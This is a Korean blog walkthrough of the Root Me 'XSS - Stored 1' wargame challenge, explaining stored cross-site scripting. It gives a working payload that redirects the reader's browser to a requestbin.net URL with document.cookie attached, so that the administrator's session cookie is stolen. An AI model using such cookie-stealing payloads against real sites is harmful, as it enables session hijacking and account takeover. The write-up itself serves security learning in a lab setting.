XSS - Stored 1 문제
드디어 웹 취약점을 이용한 문제가 처음으로 나왔다.
administrator의 session cookie를 훔치라고 한다.
XSS 는 Cross Site Script 의 약자로
웹서버에 관리자가 아닌 사람이 악성 스크립트를 삽입할 수 있는 취약점이다.
보통 공격자들은 자신의 서버를 하나 열어놓은 뒤에,
XSS 취약점을 이용하여 타겟 웹 서버에 악성 스크립트를 삽입한 뒤,
사용자들의 인증정보(쿠키값, 세션값 등)를 탈취하는데 이용한다.
문제페이지에 접속하면 이렇게 간단한 게시판이 나오게 된다.
TEST / hello world 라고 한번 입력해봤다.
입력한 내용이 잘 저장되는것을 확인할 수 있다.
웹페이지는 HTML 로 구성되어 있다.
HTML의 특징은 각각의 구성요소를 <> 를 이용해서 구분한다는 것이다.
위 사진처럼 <head> 태그, <body> 태그 등등 이런 태그들로 웹페이지를 구성한다.
XSS는 게시판 처럼 사용자의 입력을 받는 페이지에서 <> 가 입력되었을 때,
서버측에서 적절하게 필터링하지 않아서 발생하게 된다.
스크립트를 실행시킬 수 있는 <script> 태그를 이용해서 이렇게 입력해본다.
<script>alert(1)</script> 라고 입력했을때, alert(1) 함수로 인해 알림창이 뜬다면
XSS 취약점이 존재하는 것이다.
send 버튼을 누르면 바로 이렇게 알림창이 뜨게 된다.
입력했던 <script> 태그가 웹페이지에 삽입되어서 스크립트가 실행된 것이다.
웹페이지가 변조되었다고 생각하면 된다.
f12를 눌러 개발자도구로 웹소스를 보면 더 잘 보인다.
<script> 태그가 잘 들어가있는걸 볼 수 있다.
이제 XSS 취약점이 존재한다는걸 알았으니 본격적으로 쿠키값을 훔칠 차례이다.
가장먼저 필요한건 공격자의 서버이다.
직접 서버를 올려도 되지만 솔직히 그건 너무 귀찮기 때문에
requestbin 이라는 웹사이트를 이용한다.
(https://requestbin.net/)
각종 http 패킷 전송을 테스트해볼 수 있는 페이지이다.
Create a RequestBin 버튼을 누르면 나만의 웹서버가 임시로 생성된다.
이렇게 생성된 URL을 잘 복사해서 보관해둔다.
이제 administartor가 내 게시글을 읽고, 읽음과 동시에 나의 requestbin으로 이동하며,
이동과 동시에 쿠키값을 가져가도록 스크립트를 짜면 된다.
<script>document.location.href="http://requestbin.net/r/3e3saam6/?cookie="+document.cookie</script>
이렇게 쓰면된다.
document.location.href="공격자 주소?cookie="
이 부분은 공격자 주소로 보내버리고 '?' 뒤에 cookie 라는 변수를 선언해서 쿠키값을 담을수 있도록 한것이다.
그리고 cookie 변수에 document.cookie 를 이용해서 쿠키값을 저장하도록 해놨다.
이렇게 쓰고 send 버튼을 누른뒤 administrator가 읽을때까지 잠시 기다린다.
잠시 뒤에 requestbin 페이지로 가서 새로고침을 눌러보면
administrator 의 쿠키값이 탈취된것을 확인할 수 있다.
쿠키값을 이용하면 administrator의 권한을 그대로 행사할 수 있다.
'워게임 > Root Me' 카테고리의 다른 글
[Root Me] HTML - Source code - 웹해킹 / 주석 (58) | 2022.03.29 |
---|---|
[Root Me] CSRF - 0 protection - 웹해킹 / 크로스사이트요청위조 (84) | 2022.03.25 |
[Root Me] Javascript - Obfuscation 3 - 웹해킹 / 자바스크립트 (52) | 2022.03.20 |
[Root Me] Javascript - Webpack - 웹해킹 / 자바스크립트 (28) | 2022.03.18 |
[Root Me] Javascript - Native code - 웹해킹 / 자바스크립트 (36) | 2022.03.16 |